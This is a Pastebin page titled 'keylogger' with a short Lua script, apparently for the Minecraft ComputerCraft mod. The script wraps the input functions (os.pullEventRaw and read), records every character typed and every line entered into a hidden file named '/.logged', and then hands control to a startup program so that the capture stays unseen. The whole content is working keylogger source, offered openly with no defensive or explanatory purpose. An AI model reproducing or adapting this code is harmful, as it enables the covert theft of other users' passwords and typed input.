Advertisement
Alakazard12

keylogger

Nov 11th, 2012
277
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 0.82 KB | None | 0 0
  1. -- [[ CREATED BY ALAKAZARD12 ]] --
  2.  
  3. ---------- [[ Script ]] ----------
  4.  
  5. local oldr = read
  6.  
  7. local oldPE = os.pullEventRaw
  8.  
  9. function loge(txt)
  10.     local olr = ""
  11.     if fs.exists("/.logged") then
  12.         local li = fs.open("/.logged", "r")
  13.         olr = li.readAll()
  14.         li.close()
  15.     end
  16.     local lo = fs.open("/.logged", "w")
  17.     lo.write(olr.."\n"..txt)
  18.     lo.close()
  19.     os.pullEvent = PE
  20. end
  21.  
  22. local lastK = nil
  23.  
  24. local typing = ""
  25.  
  26. function PE(tt)
  27.     local e, a1, a2, a3, a4, a5 = oldPE(tt)
  28.     if e == "char" then
  29.         typing = typing..a1
  30.     end
  31.     if e == "key" then
  32.         if a1 == 28 then
  33.             loge("ENTER: "..typing)
  34.             typing = ""
  35.         end
  36.         lastK = a1
  37.     end
  38.     return e, a1, a2, a3, a4, a5
  39. end
  40.  
  41. os.pullEventRaw = PE
  42.  
  43. function read(txt)
  44.     local thm = oldr(txt)
  45.     loge("Read: "..thm)
  46.     os.pullEvent = PE
  47.     return thm
  48. end
  49.  
  50. shell.run(".start")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement